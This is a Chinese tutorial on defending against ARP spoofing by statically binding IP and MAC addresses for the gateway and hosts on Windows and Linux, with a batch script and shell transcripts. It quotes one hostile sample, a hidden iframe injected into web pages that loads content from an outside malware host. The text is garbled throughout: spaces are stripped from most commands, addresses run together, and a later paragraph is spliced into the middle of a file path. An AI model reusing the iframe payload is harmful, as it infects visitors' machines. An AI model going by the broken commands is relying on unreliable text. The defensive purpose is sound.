win/linux 网关绑定MAC,ARP攻击

@echo off

rembylee

rem读取本机Mac地址

ifexistipconfig.txtdelipconfig.txt

ipconfig/all>ipconfig.txt

ifexistphyaddr.txtdelphyaddr.txt

find"PhysicalAddress"ipconfig.txt>phyaddr.txt

for/f"skip=2tokens=12"%%Min(phyaddr.txt)dosetMac=%%M

rem读取本机ip地址

ifexistIPAddr.txtdelIPaddr.txt

find"IPAddress"ipconfig.txt>IPAddr.txt

for/f"skip=2tokens=15"%%Iin(IPAddr.txt)dosetIP=%%I

rem绑定本机IP地址和MAC地址

arp-s%IP%%Mac%

rem读取网关地址

ifexistGateIP.txtdelGateIP.txt

find"DefaultGateway"ipconfig.txt>GateIP.txt

for/f"skip=2tokens=13"%%Gin(GateIP.txt)dosetGateIP=%%G

rem读取网关Mac地址

ifexistGateMac.txtdelGateMac.txt

arp-a%GateIP%>GateMac.txt

for/f"skip=3tokens=2"%%Hin(GateMac.txt)dosetGateMac=%%H

rem绑定

arp-s%GateIP%%GateMac%

delGateIP.txt

delgatemac.txt

delipaddr.txt

delipconfig.txt

delphyaddr.txt

pause

exit

 一、应用背景

由于最近网上新出现一种ARP欺骗病毒,主要表现为:

中病毒的机器不仅影响自身,同时也会影响同网段的其它机器,将其它机器的HTTP数据包里加入病毒代码。代码例子如:

<html><iframesrc=http://www2.89382.cn/wm/css.htmwidth=0height=0></iframe>

这种病毒危害非常大!即使你机器的安全性做得很好,可是没办法保证同网段的其它机器安全没有问题!

解决办法:在网关和本机上双向绑定IP和MAC地址,以防止ARP欺骗。

二、约定

1、网关上已经对下面所带的机器作了绑定。网关IP:192.168.1.1 MAC:00:02:B3:38:08:62

2、要进行绑定的Linux主机IP:192.168.1.2 MAC:00:04:61:9A:8D:B2

三、绑定步骤

1、先使用arp和arp-a查看一下当前ARP缓存列表

[root@ftpsvr~]#arp

AddressHWtypeHWaddressFlagsMaskIface

192.168.1.234            ether   00:04:61:AE:11:2B   &n

bsp;C                     eth0

192.168.1.145ether00:13:20:E9:11:04Ceth0

192.168.1.1              ether   00:02:B3:38:08:62   C                     eth0

说明:

Address:主机的IP地址

Hwtype:主机的硬件类型

Hwaddress:主机的硬件地址

Flags Mask:记录标志,"C"表示arp高速缓存中的条目,"M"表示静态的arp条目

[root@ftpsvr ~]# arp -a

?(192.168.1.234)at00:04:61:AE:11:2B[ether]oneth0

? (192.168.1.1) at 00:16:76:22:23:86 [ether] on eth0

2、新建一个静态的mac-->ip对应表文件:ip-mac,将要绑定的IP和MAC地下写入此文件,格式为 ip mac。

[root@ftpsvr~]#echo'192.168.1.100:02:B3:38:08:62'>/etc/ip-mac

[root@ftpsvr~]#more/etc/ip-mac

192.168.1.1 00:02:B3:38:08:62

3、设置开机自动绑定[root@ftpsvr ~]# echo 'arp -f /etc/ip-mac ' >> /etc/rc.d/rc.local

4、手动执行一下绑定[root@ftpsvr ~]# arp -f /etc/ip-mac

5、确认绑定是否成功

[root@ftpsvr~]#arp

AddressHWtypeHWaddressFlagsMaskIface

192.168.0.205ether00:02:B3:A7:85:48Ceth0

192.168.1.234ether00:04:61:AE:11:2BCeth0

192.168.1.1              ether   00:02:B3:38:08:62   CM                    eth0

[root@ftpsvr ~]# arp -a

?(192.168.0.205)at00:02:B3:A7:85:48[ether]oneth0

?(192.168.1.234)at00:04:61:AE:11:2B[ether]oneth0

? (192.168.1.1) at 00:02:B3:38:08:62 [ether] PERM on eth0

从绑定前后的ARP缓存列表中,可以看到网关(192.168.1.1)的记录标志已经改变,说明绑定成功。

四、添加信任的Windows主机(192.168.1.10)

1、Linux主机(192.168.1.2)上操作

[root@ftpsvr~]#echo'192.168.1.1000:04:61:AE:09:14'>>/etc/i

arp -s 192.168.1.2 00-04-61-9A-8D-B2你可以将上面2个步骤写在一个BAT(批处理)文件中,这样做的好处是,今后如果要增加其它机器的绑定,只需维护这个文件就可以了。例:@echo off arp -d arp -s 192.168.1.2 00-04-61-9A-8D-B2exit 注意:Linux和Widows上的MAC地址格式不同。Linux表示为:AA:AA:AA:AA:AA:AA,Windows表示为:AA-AA-AA-AA-AA-AA

p-mac

[root@ftpsvr ~]# arp -f /etc/ip-mac

2、Windows主机(192.168.1.10)上操作

1)清除ARP缓存

C:Documents and SettingsAdministrator>arp -d

2)绑定Linux主机的IP和MAC地址C:Documents and SettingsAdministrator>arp -s 192.168.1.2 00-04-61-9A-8D-B2

你可以将上面2个步骤写在一个BAT(批处理)文件中,这样做的好处是,今后如果要增加其它机器的绑定,只需维护这个文件就可以了。例:

@echooff

arp-d

arp-s192.168.1.200-04-61-9A-8D-B2

exit 

注意:Linux和Widows上的MAC地址格式不同。Linux表示为:AA:AA:AA:AA:AA:AA,Windows表示为:AA-AA-AA-AA-AA-AA

相关推荐